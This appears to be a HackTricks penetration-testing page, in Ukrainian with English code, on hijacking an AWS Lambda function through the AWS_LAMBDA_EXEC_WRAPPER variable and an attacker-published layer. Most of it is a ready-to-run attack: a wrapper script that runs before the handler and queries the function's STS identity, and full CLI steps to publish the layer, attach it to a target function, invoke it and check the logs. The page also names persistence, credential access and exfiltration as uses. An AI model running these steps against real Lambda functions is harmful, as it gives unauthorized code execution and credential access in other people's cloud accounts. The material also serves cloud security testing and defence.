# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE) {{#include ../../../../banners/hacktricks-training.md}} ## Резюме Зловживайте змінною середовища `AWS_LAMBDA_EXEC_WRAPPER`, щоб виконати контрольований атакуючим скрипт-обгортку перед запуском runtime/handler. Доставте обгортку через Lambda Layer у `/opt/bin/htwrap`, встановіть `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, а потім викличте функцію. Обгортка запускається всередині процесу runtime функції, успадковує роль виконання функції і врешті-решт виконує `exec` реального runtime, тож оригінальний handler усе ще виконується нормально. > [!WARNING] > Ця техніка надає виконання коду в цільовій Lambda без зміни її вихідного коду або ролі та без потреби в `iam:PassRole`. Вам потрібна лише можливість оновлювати конфігурацію функції та опублікувати/приєднати layer. ## Необхідні дозволи (attacker) - `lambda:UpdateFunctionConfiguration` - `lambda:GetFunctionConfiguration` - `lambda:InvokeFunction` (або ініціювати через існуючу подію) - `lambda:ListFunctions`, `lambda:ListLayers` - `lambda:PublishLayerVersion` (в тому ж акаунті) і опціонально `lambda:AddLayerVersionPermission`, якщо використовуєте cross-account/public layer ## Скрипт обгортки Помістіть обгортку в `/opt/bin/htwrap` у layer. Вона може виконувати логіку перед handler і має закінчуватися `exec "$@"`, щоб передати виконання реальному runtime. ```bash #!/bin/bash set -euo pipefail # Pre-handler actions (runs in runtime process context) echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" python3 - <<'PY' import boto3, json, os try: ident = boto3.client('sts').get_caller_identity() print('[ht] sts identity:', json.dumps(ident)) except Exception as e: print('[ht] sts error:', e) PY # Chain to the real runtime exec "$@" ``` ## Кроки атаки (CLI)
Опублікувати layer, прикріпити до цільової функції, встановити wrapper, викликати ```bash # Vars REGION=us-east-1 TARGET_FN= # 1) Package wrapper at /opt/bin/htwrap mkdir -p layer/bin cat > layer/bin/htwrap <<'WRAP' #!/bin/bash set -euo pipefail echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" python3 - <<'PY' import boto3, json print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity())) PY exec "$@" WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer) # 2) Publish the layer LAYER_ARN=$(aws lambda publish-layer-version \ --layer-name ht-exec-wrapper \ --zip-file fileb://htwrap-layer.zip \ --compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \ --query LayerVersionArn --output text --region "$REGION") echo "$LAYER_ARN" # 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER aws lambda update-function-configuration \ --function-name "$TARGET_FN" \ --layers "$LAYER_ARN" \ --environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \ --region "$REGION" # Wait for update to finish until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done # 4) Invoke and verify via CloudWatch Logs aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text ```
## Impact - Виконання коду перед handler-ом у Lambda runtime з використанням наявної execution role функції. - Не потребує змін у function code або role; працює в загальноприйнятих managed runtimes (Python, Node.js, Java, .NET). - Дозволяє persistence, доступ до credentials (наприклад, STS), data exfiltration та runtime tampering до запуску handler-а. {{#include ../../../../banners/hacktricks-training.md}}